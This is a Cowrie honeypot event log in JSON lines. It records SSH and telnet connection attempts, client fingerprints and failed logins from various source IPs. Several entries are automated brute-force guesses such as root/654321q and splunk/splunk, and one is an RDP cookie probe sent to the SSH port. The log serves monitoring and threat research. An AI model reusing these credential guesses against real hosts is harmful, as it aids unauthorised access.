{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:01.330012Z","src_ip":"87.251.64.176","session":"aa3b40377e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.543795585632324,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:03.253096Z","src_ip":"152.42.224.71","session":"5404b310de87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59180,"dst_ip":"159.203.135.109","dst_port":22,"session":"793493bd4263","protocol":"ssh","message":"New connection: 103.82.132.16:59180 (159.203.135.109:22) [session: 793493bd4263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:04.549641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:04.557722Z","src_ip":"103.82.132.16","session":"793493bd4263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:04.893997Z","src_ip":"103.82.132.16","session":"793493bd4263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654321q","message":"login attempt [root/654321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:05.684006Z","src_ip":"103.82.132.16","session":"793493bd4263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:06.948375Z","src_ip":"103.82.132.16","session":"793493bd4263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1060860ff51","protocol":"ssh","message":"New connection: 103.27.238.116:42430 (159.203.135.109:22) [session: d1060860ff51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:23.465385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:23.473841Z","src_ip":"103.27.238.116","session":"d1060860ff51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:23.741856Z","src_ip":"103.27.238.116","session":"d1060860ff51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"353535","message":"login attempt [root/353535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:24.544795Z","src_ip":"103.27.238.116","session":"d1060860ff51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:25.814126Z","src_ip":"103.27.238.116","session":"d1060860ff51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61873,"dst_ip":"159.203.135.109","dst_port":22,"session":"89c4cdc28e2b","protocol":"ssh","message":"New connection: 152.42.212.128:61873 (159.203.135.109:22) [session: 89c4cdc28e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:55.459576Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:55.464236Z","src_ip":"152.42.212.128","session":"89c4cdc28e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:55.468118Z","src_ip":"152.42.212.128","session":"89c4cdc28e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":41398,"dst_ip":"159.203.135.109","dst_port":22,"session":"725800706f92","protocol":"ssh","message":"New connection: 37.233.85.71:41398 (159.203.135.109:22) [session: 725800706f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:58.025428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:58.030117Z","src_ip":"37.233.85.71","session":"725800706f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:58.126487Z","src_ip":"37.233.85.71","session":"725800706f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987987","message":"login attempt [root/987987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:58.563402Z","src_ip":"37.233.85.71","session":"725800706f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:45:59.661402Z","src_ip":"37.233.85.71","session":"725800706f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38050,"dst_ip":"159.203.135.109","dst_port":22,"session":"06cd45060203","protocol":"ssh","message":"New connection: 103.153.68.219:38050 (159.203.135.109:22) [session: 06cd45060203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:09.188923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:09.193685Z","src_ip":"103.153.68.219","session":"06cd45060203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:09.445521Z","src_ip":"103.153.68.219","session":"06cd45060203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjhjktdf","message":"login attempt [root/rjhjktdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:10.200187Z","src_ip":"103.153.68.219","session":"06cd45060203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:11.454656Z","src_ip":"103.153.68.219","session":"06cd45060203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":51826,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7eed0efbeb","protocol":"ssh","message":"New connection: 193.32.162.151:51826 (159.203.135.109:22) [session: ca7eed0efbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:41.471661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:41.477036Z","src_ip":"193.32.162.151","session":"ca7eed0efbeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:41.575589Z","src_ip":"193.32.162.151","session":"ca7eed0efbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:41.864854Z","src_ip":"193.32.162.151","session":"ca7eed0efbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:42.992078Z","src_ip":"193.32.162.151","session":"ca7eed0efbeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45510,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f5d94aab72","protocol":"ssh","message":"New connection: 103.98.149.87:45510 (10.17.0.5:22) [session: 97f5d94aab72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:51.349173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:52.025127Z","src_ip":"103.98.149.87","session":"97f5d94aab72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:52.157251Z","src_ip":"103.98.149.87","session":"97f5d94aab72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3","message":"login attempt [root/z1x2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:53.353637Z","src_ip":"103.98.149.87","session":"97f5d94aab72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:46:54.605646Z","src_ip":"103.98.149.87","session":"97f5d94aab72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":37368,"dst_ip":"159.203.135.109","dst_port":22,"session":"b28407171812","protocol":"ssh","message":"New connection: 43.135.164.198:37368 (159.203.135.109:22) [session: b28407171812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:00.985914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:00.991172Z","src_ip":"43.135.164.198","session":"b28407171812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:01.068977Z","src_ip":"43.135.164.198","session":"b28407171812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"News@123","message":"login attempt [root/News@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:01.377796Z","src_ip":"43.135.164.198","session":"b28407171812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:02.455829Z","src_ip":"43.135.164.198","session":"b28407171812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54264,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b9bf4a56c4","protocol":"telnet","message":"New connection: 152.42.224.71:54264 (10.17.0.5:23) [session: 91b9bf4a56c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:14.040724Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49318,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6be4cb4d3ec","protocol":"ssh","message":"New connection: 77.94.47.83:49318 (10.17.0.5:22) [session: f6be4cb4d3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:39.245444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:39.250162Z","src_ip":"77.94.47.83","session":"f6be4cb4d3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:39.374248Z","src_ip":"77.94.47.83","session":"f6be4cb4d3ec","protocol":"ssh"}
